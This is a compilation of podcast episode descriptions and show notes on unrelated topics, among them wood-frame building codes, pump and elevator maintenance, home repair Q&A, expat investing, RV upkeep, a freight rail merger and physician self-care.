https://www.linkedin.com/company/most-podernKeywordsType V construction, The Type V City, Jeana Ripple, American housing, Wood frame construction, U.S. building codes, Urban design, Architecture podcast, Why U.S. houses are wood, Building codes explained, Wood vs concrete housing, Mass timber, Multifamily housing design, Housing crisis America, Home maintenance mold, Sustainable building materialsChapters00:00 Introduction to Type 5 Construction01:32 Understanding Type 5 and Its Global Context05:11 The Dominance of Type 5 in the U.S.07:58 The Evolution of Wood Frame Construction11:41 Maintenance and Vulnerabilities of Type 5 Buildings15:44 Consumer Awareness and Decision-Making19:10 The Role of Policy in Building Codes22:43 The Impact of Interest Groups on Building Regulations25:59 Future Directions for Type 5 Construction

In this episode of the Pumps & Systems podcast, we're speaking with Westyn Bennington from SEEPEX, who is going to tell us all about maintenance technologies, specifically as they relate to progressive cavity pumps. Tune in the first Wednesday of every month for new episodes of the podcast! (Note: This episode was recorded in March of 2025.) Watch this episode on YouTube: https://youtu.be/FfaiXz6TxiA?si=4KTQUGqjeumqiPjN Pumps & Systems Podcast homepage: https://www.pumpsandsystems.com/podcast/ Pumps & Systems Magazine: http://www.pumpsandsystems.com Opening music: Know Myself - Patrick Patrikios Closing music: Freeling - Lauren Duski #pumps #systems #podcast #maintenance

Fix it before it breaks. That simple idea sets the basis for maintenance management and makes the difference between a manufacturing facility that's constantly putting out fires and one that runs like clockwork. Preventive maintenance isn't rocket science, but it does require changing how we think about equipment care and maintenance activities. You can learn more in this episode or read about it on our blog For more information about MRPeasy software, visit our website: mrpeasy.com  

Harvard Maintenance v. NLRB

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A Message from our Sponsor:This episode is brought to you by Cloud Monitoring. Visit CloudMonitoring.us to learn more.Intro:This episode of Elevator Tools & Tech is sponsored by Cloud Monitoring, a cloud based remote monitoring systems that offers hosted, all in one monitoring of your equipment - 24 hours a day, 7 days a week, and accessible from anywhere. Now, let's dive in.Summary:In this episode of the Elevator Tools and Tech podcast, host Matt Allred engages with industry experts Angelo Mottola, Bali Harmath, and Anthony Marchese to discuss the transformative impact of AI and IoT on elevators. They explore how intelligent elevators can enhance urban mobility, improve user experiences, and provide predictive maintenance to reduce downtime. The conversation also delves into energy efficiency, cybersecurity concerns, and the importance of integrating smart technology into building management systems. The experts share insights on the industry's technological advancements and the necessity for building owners to adapt to these innovations for better operational efficiency and tenant satisfaction.

About Ryan Jenkins Mr. Kevin “Ryan” Jenkins has more than two decades of field experience in logistics, base life support, training, maintenance, and facilities management supporting United States and Allied Army, Navy, Air Force and Marine services in the most remote and austere locations in the world. Specific expertise in Portfolio Management, Federal Contracts, Finance and Business Development. Mr. Jenkins contracting career began with Engility (now Sincerus) supporting Vectrus (now V2X) in the Kuwait Base Operations Service Support Security (KBOSSS) contract. From 2011 – 2015, he managed all U.S. Army Training Support in Southwest Asia comprising range maintenance and logistics support across 23 countries and overseeing the maintenance and upkeep of one of the largest U.S. Army training areas. In 2016, Mr. Jenkins was sent to Afghanistan as the Program Manager providing oversight management of the Afghan Air Force (AAF) in the functional areas of Finance/Budget, Operations, Engineering Projects/Facilities Maintenance, IT infrastructure, Human Resources, Intelligence, Logistics and Maintenance. Later that year, Mr. Jenkins was asked to become the Senior Finance Advisor to the Ministry of Finance (MoF) advising the senior executives on treasury oversight, budget formulation and execution of the $5.5B budget. In 2017, Mr. Jenkins joined Constellis (Centerra group) as the Program Manager of the Bahrain Base Operations Support contract (BBOS) at the US Naval Base that hosts the 5th Naval Fleet and 3 other military sites. He executed close out operations of this $20M annual revenue contract with 550 employees. In 2020, Mr. Jenkins became Amentum's Senior Business Manager over one of the largest contracts in Afghanistan consisting of 1100 employees and $118M in annual revenue. The contract provided theater-wide support of all US maintenance, transportation, and property management. He led the Business Management Directorate with five reporting sections: Financial Planning & Analysis, Payroll/Cash management, Contracts, Travel and IT. Notably this contract was tasked with the full retrograde mission of all US vehicles, equipment and property from Afghanistan. Upon leaving Afghanistan he has held SVP and Director level postions in DoD Business Development and Capture Management in firms such as Palladium International, Taylors International Services and J&J Worldwide Services. Currently serving as a US Army Reservist, Lieutenant Colonel Jenkins is the 403rd Civil Affairs Battalion Commander. He has also had previous roles as: Aviation Officer (UH-60 Blackhawk Helicopter pilot), Logistics Officer, Strategic Plans Officer, Information Operations Officer, and Trade & Commerce Officer. Episode Notes 11:46  Lesson 1: Early to bed, early to rise makes a man healthy, wealthy and wise 16:34 Lesson 2: Discipline is freedom 21:08 Lesson 3: Choose the hard path - it's the only one worth walking 23:43 Lesson 4: You are not a victim ever 28:53 Lesson 5: Pay life's tuition 34:19 Lesson 6: Sometimes you must draw a line in the sand, step over and never look back 38:19 Lesson 7: If you want to be the 1%, you must do what the 1% do 42:56 Lesson 8: Avoid addictions 48:00 Lesson 9: You are a composite average of the five people you spend the most time with 51:47 Lesson 10: Seek out leadership opportunities

SHOW NOTES: Welcome back to The Money Pit, your ultimate guide to turning your house into a home! We've been busy laboring away so you can have the home of your dreams, answering your how-to questions and diving into smart seasonal transitions to get yourself ready for fall. Here are some of the main points and caller questions covered this hour: - Furnaces and Fireplaces: It's crucial to prepare your home for cooler temperatures, which includes maintaining your furnace and fireplace by changing filters, scheduling professional tune-ups, and ensuring fireplace safety and carbon monoxide detectors are operational. - Floor Surface Protection: It's important to deep clean and protect wood, tile, and stone floors before they face the wear and tear of muddy boots and wet paws. Get tips for sealing stone, silencing squeaks, and tackling loose tiles. - HVAC Filters: A small but impactful task is changing your HVAC air filter every 30 to 90 days (or more often with pets/allergies) to improve indoor air quality, lower energy bills, and prevent costly breakdowns.    Q & A: - Laura in Connecticut called about strengthening the kitchen floor in her 100-plus-year-old house to support a new appliance where a beam is missing. We suggest adding a girder to provide a neutral base and prevent decay. - Dennis in Florida inquired about using Trex composite decking for a lake dock, despite his contractor's reservations. We affirm that Trex and other composite decking are excellent, durable choices, cautioning only that they can get hot in direct sunlight. - Heather in California was concerned about her 1937 home's crumbling foundation, damaged by water, and the high quotes she received for replacement. We strongly advise her to seek an independent structural engineer's assessment to avoid conflicts of interest and ensure the recommended repairs are truly necessary. - Mike called regarding recurring pinhole leaks in his 36-year-old home's copper plumbing. We recommend immediately repairing the leaking sections and nearby areas of the pipe to address the immediate issue and prevent further damage. - Jim discussed mold growth in his attic after adding insulation. Inadequate ventilation combined with insulation can trap moisture, leading to condensation and mold. He should increase attic ventilation and treat the mold with a bleach solution. - Martin asked about installing engineered wood flooring, specifically the choice between glue-down and floating methods, and the use of underlayment. We recommend floating floors as the best modern option due to their ability to expand and contract, and advise consulting the flooring manufacturer for the ideal underlayment product.   ASK A QUESTION: Need help with your own home improvement or décor question? We'd love to help! Call the show 24/7 at 888-MONEY-PIT (888-666-3974) or post your question here: https://www.moneypit.com/ask. Learn more about your ad choices. Visit podcastchoices.com/adchoices

Welcome to the one hundred and fifty first episode of the #Expatchat podcasts, where we discuss the latest tax and financial issues affecting an #Australianexpat. In this episode, Investment Portfolio Maintenance for Expats, Atlas Wealth Managing Director, Brett Evens and Financial Planner, Adam Prentice break down the key tax and investment considerations for Australians living abroad. They cover topics such as, deemed disposal tax when exiting Australia, non-resident withholding tax rates, and the importance of keeping your address up to date with financial institutions. Brett and Adam also highlight the risks of using US brokerage accounts overseas, including the 40% US estate tax for non-residents, and suggest safer alternatives. They explain how to manage your investment portfolio when leaving or returning to Australia, including tax implications and the benefits of moving assets back to Australian platforms. Links that we discussed in this episode include: • Upcoming Seminars & Webinars – atlaswealth.com/events • Facebook Group – Don't forget to join our Australian Expat Financial Forum Facebook Group – / australianexpatfinancialforum • Ask Atlas – Have your questions answered on the podcast by clicking this link – atlaswealth.com/news-media/au... • Expat Mortgage Podcast – atlaswealth.com/news-media/au... • Weekly Recap Podcast – atlaswealth.com/news-media/au... If you like the content make sure you let us know by hitting the thumbs up and subscribing. As well as providing some feedback in the comments below. The Atlas Wealth Group was born out of growing demand from Australian expats seeking professional guidance. We are specialists in providing tax, financial planning, wealth management and mortgage services to every Australian expat. Whether you are based in Asia, the Middle East, Europe or the Americas, we have the experience in providing essential financial services to the expatriate community. To find out more about the Atlas Wealth Group visit www.atlaswealth.com. Make sure you connect with us on our respective social media channels: Facebook: www.facebook.com/atlaswealthmgmt LinkedIn: www.linkedin.com/company/atlas-wealth-management Twitter: www.twitter.com/atlaswealthmgmt Instagram: www.instagram.com/atlaswealthgroup

This podcast episode meticulously examines the essential aspects of RV maintenance and lifestyle adjustments necessary for a successful journey on the open road. At the forefront of our discussion is the imperative of properly maintaining RV furnaces to ensure their efficient operation throughout the winter months, thereby facilitating a comfortable RV living experience. We further explore the psychological dimensions of downsizing, examining the emotional challenges associated with relinquishing possessions to adopt a nomadic lifestyle. Additionally, we provide insightful money-saving strategies aimed at empowering RVers to maximize their travel opportunities while minimizing expenses. Finally, we embark on a virtual exploration of Madison, Wisconsin, a vibrant city rich in culture and community spirit, inviting listeners to consider it as a potential destination on their travels. The podcast delves into the intricacies of RV maintenance, with a particular focus on the essential subject of furnace repairs. Eric begins the discussion with an overview of the significance of maintaining an RV furnace during the winter months, emphasizing the pivotal role it plays in ensuring comfort and safety for RV travelers. Eric elaborates on fundamental troubleshooting techniques, highlighting the necessity of understanding the furnace's operational mechanics. Tools required for effective maintenance, such as a multimeter, are discussed, alongside best practices for diagnosing common issues. Additionally, the speaker offers insights into the psychological aspects of downsizing one's living space to embrace a full-time RV lifestyle, addressing the emotional challenges faced during the decluttering process. This segment serves as a reminder that while the transition to RV living may be liberating, it also necessitates a thoughtful approach to the belongings we cherish. The Smart RVer Podcast Episode Schedule. Enjoying the RV Life: See All of the Articles Money Saving Tips - How to Save that Hard-Earned Cash Staying On The Road - All Podcast Episodes The Next Stop: See the Awesome Places We Recommend Shadows of the Past - Towns That Once Were - See the Script  RV Envy: See all of our DIY Articles Money Saving Sites: Wholesale Warranties - RV Extended Warranties Social Sites: X.com - Visit us @thesmrtrver Facebook - Follow Us Instagram - Follow Us YouTube - Watch Videos & Subscribe Our Online Resources:...

Railroad workers are sounding the alarm about the potentially catastrophic consequences of the proposed mega-merger of two of the nation's Class 1 freight rail companies. “Union Pacific said it would buy smaller rival Norfolk Southern in an $85-billion deal to create the country's first coast-to-coast freight rail operator,” Reuters reported in July. “If approved, the deal would be the largest-ever buyout in the sector.” If this giant merger goes through, what will it mean for railroad workers, customers, and for the general public? In this episode of Working People, we speak with a panel of six veteran railroaders and members of Railroad Workers United to get a workers' eye view of the proposed mega-merger and what it will mean for rail labor, the US supply chain, and for the public writ large.   Speakers: Ron Kaminkow is a member of Railroad Workers United, currently serving as a trustee, and he is also a member of the Brotherhood of Locomotive Engineers and Trainmen (BLET), Division 51 in Reno, Nevada. Kaminkow recently retired from Amtrak; prior to working in passenger rail, he worked on the freight rail system for Norfolk Southern and Conrail. Jeff Kurtz was a railroad engineer and union member for 40 years and is a member of Railroad Workers United. He served as a union officer most of his career, including eight years as president of BLET Local 391 and chairman of the BLET Iowa State Legislative Board, where he oversaw safety and legislative matters for the union in the state for four railroads for 10 years. He retired in 2014 and served as state representative for one term in the Iowa House after winning the 2018 election in his House district. Derek Masters is a member of Railroad Workers United and works as a conductor for a major Class 1 railroad, primarily in the Northeast. He is a member of SMART Transportation Division (SMART-TD). Matt Parker is a member of Railroad Workers United who works as a rank-and-file locomotive engineer, based in Nevada, with over 20 years of experience. Matt Weaver is a founding member of Railroad Workers United and has been a member of the Brotherhood of Maintenance of Way Employees (Teamsters) for 30 years. He serves as the BMWED legislative director for the state of Ohio. Nick Wurst currently serves as general secretary of Railroad Workers United who works as a freight conductor and locomotive engineer, based in Massachusetts. Wurst started working for the railroad in 2019 as an intermodal worker and member of the Transportation Communication Union (TCU/IAM) and is currently  a member of SMART-TD. Additional links/info: Railroad Workers United website, Facebook page, and X page Railroad Workers United press release: “Railroad worker group opposes Class One rail mergers” Michael Sainato, The Guardian, “Greater risk of toxic derailments if $85bn railroad merger is approved, warn unions” Sabrina Valle, Shivansh Tiwary, & David French, Reuters, “Union Pacific to reshape US freight rail with $85 billion deal for Norfolk” CNBC, “Union Pacific CEO Jim Vena & Norfolk Southern CEO Mark George on merger: Deal is 'great for America'” Featured Music: Jules Taylor, “Working People” Theme Song Credits: Audio Post-Production: Jules Taylor

Board-certified pediatrician and certified coach Jessie Mahoney discusses her article, "Why self-care must become medicine's new standard." She challenges the long-held belief in medical culture that self-sacrifice is noble and that self-care is an indulgence. Jessie argues that caring for oneself is not a luxury but a responsible, non-negotiable standard of care for anyone in medicine. She explains that a physician's energy is their most critical resource, and its chronic depletion leads to poor decisions, burnout, and negative ripple effects. To change this, she introduces a powerful new framework: viewing self-care not as an emergency "oxygen mask" for when things go wrong, but as the "required maintenance" that happens between flights to prevent accidents. This shift redefines rest and replenishment as foundational to safe, effective, and sustainable patient care—as essential as a surgical time-out—and calls on the culture of medicine to make time for it as an expectation, not an afterthought. Careers by KevinMD is your gateway to health care success. We connect you with real-time, exclusive resources like job boards, news updates, and salary insights, all tailored for health care professionals. With expertise in uniting top talent and leading employers across the nation's largest health care hiring network, we're your partner in shaping health care's future. Fulfill your health care journey at KevinMD.com/careers. VISIT SPONSOR → https://kevinmd.com/careers Discovering disability insurance? Pattern understands your concerns. Over 20,000 doctors trust us for straightforward, affordable coverage. We handle everything from quotes to paperwork. Say goodbye to insurance stress – visit Pattern today at KevinMD.com/pattern. VISIT SPONSOR → https://kevinmd.com/pattern SUBSCRIBE TO THE PODCAST → https://www.kevinmd.com/podcast RECOMMENDED BY KEVINMD → https://www.kevinmd.com/recommended

Railroad workers are sounding the alarm about the potentially catastrophic consequences of the proposed mega-merger of two of the nation's Class 1 freight rail companies. “Union Pacific said it would buy smaller rival Norfolk Southern in an $85-billion deal to create the country's first coast-to-coast freight rail operator,” Reuters reported in July. “If approved, the deal would be the largest-ever buyout in the sector.” If this giant merger goes through, what will it mean for railroad workers, customers, and for the general public? In this episode of Working People, we speak with a panel of six veteran railroaders and members of Railroad Workers United to get a workers' eye view of the proposed mega-merger and what it will mean for rail labor, the US supply chain, and for the public writ large.Speakers:Ron Kaminkow is a member of Railroad Workers United, currently serving as a trustee, and he is also a member of the Brotherhood of Locomotive Engineers and Trainmen (BLET), Division 51 in Reno, Nevada. Kaminkow recently retired from Amtrak; prior to working in passenger rail, he worked on the freight rail system for Norfolk Southern and Conrail.Jeff Kurtz was a railroad engineer and union member for 40 years and is a member of Railroad Workers United. He served as a union officer most of his career, including eight years as president of BLET Local 391 and chairman of the BLET Iowa State Legislative Board, where he oversaw safety and legislative matters for the union in the state for four railroads for 10 years. He retired in 2014 and served as state representative for one term in the Iowa House after winning the 2018 election in his House district.Derek Masters is a member of Railroad Workers United and works as a conductor for a major Class 1 railroad, primarily in the Northeast. He is a member of SMART Transportation Division (SMART-TD).Matt Parker is a member of Railroad Workers United who works as a rank-and-file locomotive engineer, based in Nevada, with over 20 years of experience.Matt Weaver is a founding member of Railroad Workers United and has been a member of the Brotherhood of Maintenance of Way Employees (Teamsters) for 30 years. He serves as the BMWED legislative director for the state of Ohio.Nick Wurst currently serves as general secretary of Railroad Workers United who works as a freight conductor and locomotive engineer, based in Massachusetts. Wurst started working for the railroad in 2019 as an intermodal worker and member of the Transportation Communication Union (TCU/IAM) and is currently  a member of SMART-TD.Additional links/info:Railroad Workers United website, Facebook page, and X pageRailroad Workers United press release: “Railroad worker group opposes Class One rail mergers”Michael Sainato, The Guardian, “Greater risk of toxic derailments if $85bn railroad merger is approved, warn unions”Sabrina Valle, Shivansh Tiwary, & David French, Reuters, “Union Pacific to reshape US freight rail with $85 billion deal for Norfolk”CNBC, “Union Pacific CEO Jim Vena & Norfolk Southern CEO Mark George on merger: Deal is 'great for America'”Featured Music:Jules Taylor, “Working People” Theme SongCredits:Audio Post-Production: Jules TaylorHelp us continue producing radically independent news and in-depth analysis by following us and becoming a monthly sustainer.Follow us on:Bluesky: @therealnews.comFacebook: The Real News NetworkTwitter: @TheRealNewsYouTube: @therealnewsInstagram: @therealnewsnetworkBecome a member and join the Supporters Club for The Real News Podcast today!